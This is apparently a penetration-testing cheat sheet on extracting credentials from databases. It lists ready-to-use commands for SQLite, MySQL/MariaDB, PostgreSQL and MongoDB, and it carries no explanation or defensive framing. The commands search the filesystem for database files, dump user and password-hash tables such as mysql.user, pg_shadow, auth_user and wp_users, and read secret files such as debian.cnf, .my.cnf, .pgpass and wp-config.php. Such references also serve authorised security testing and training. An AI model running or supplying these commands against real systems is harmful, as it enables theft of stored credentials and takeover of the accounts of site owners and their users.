Database Credential Extraction

Database Credential Extraction

SQLite

Find Database Files

find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null
find /var/www -name "*.db" 2>/dev/null
find /home -name "*.db" 2>/dev/null

Dump All Tables

sqlite3 <database.db> ".tables"
sqlite3 <database.db> ".schema"
sqlite3 <database.db> ".dump"

Extract Users Table

# Common table names
sqlite3 <database.db> "SELECT * FROM users;"
sqlite3 <database.db> "SELECT * FROM accounts;"
sqlite3 <database.db> "SELECT * FROM members;"
sqlite3 <database.db> "SELECT * FROM admin;"

# Get column names first
sqlite3 <database.db> "PRAGMA table_info(users);"

Common Patterns

# Flask/Django apps
sqlite3 instance/users.db ".dump"
sqlite3 db.sqlite3 "SELECT username,password FROM auth_user;"

# WordPress
sqlite3 wp.db "SELECT user_login,user_pass FROM wp_users;"

MySQL / MariaDB

Connect

mysql -u <USER> -p<PASSWORD> -h <HOST>
mysql -u root -p

Dump Users

-- MySQL user accounts
SELECT user, host, authentication_string FROM mysql.user;

-- App database users (check schema first)
USE <database>;
SHOW TABLES;
DESCRIBE users;
SELECT * FROM users;

From Config Files

# Common locations
cat /var/www/html/wp-config.php | grep DB_
cat /var/www/html/config.php | grep -i pass
cat /etc/mysql/debian.cnf
cat ~/.my.cnf

One-liner Extraction

mysql -u root -p<PASS> -e "SELECT user,authentication_string FROM mysql.user;"
mysqldump -u root -p<PASS> <database> users > users_dump.sql

PostgreSQL

Connect

psql -U <USER> -h <HOST> -d <DATABASE>
psql -U postgres

Dump Users

-- Database users
SELECT usename, passwd FROM pg_shadow;

-- App users
\dt
SELECT * FROM users;

From Config

cat /var/lib/postgresql/.pgpass
cat ~/.pgpass
# format: hostname:port:database:username:password

MongoDB

Connect

mongo
mongo --host <HOST> --port 27017
mongo -u <USER> -p <PASSWORD> --authenticationDatabase admin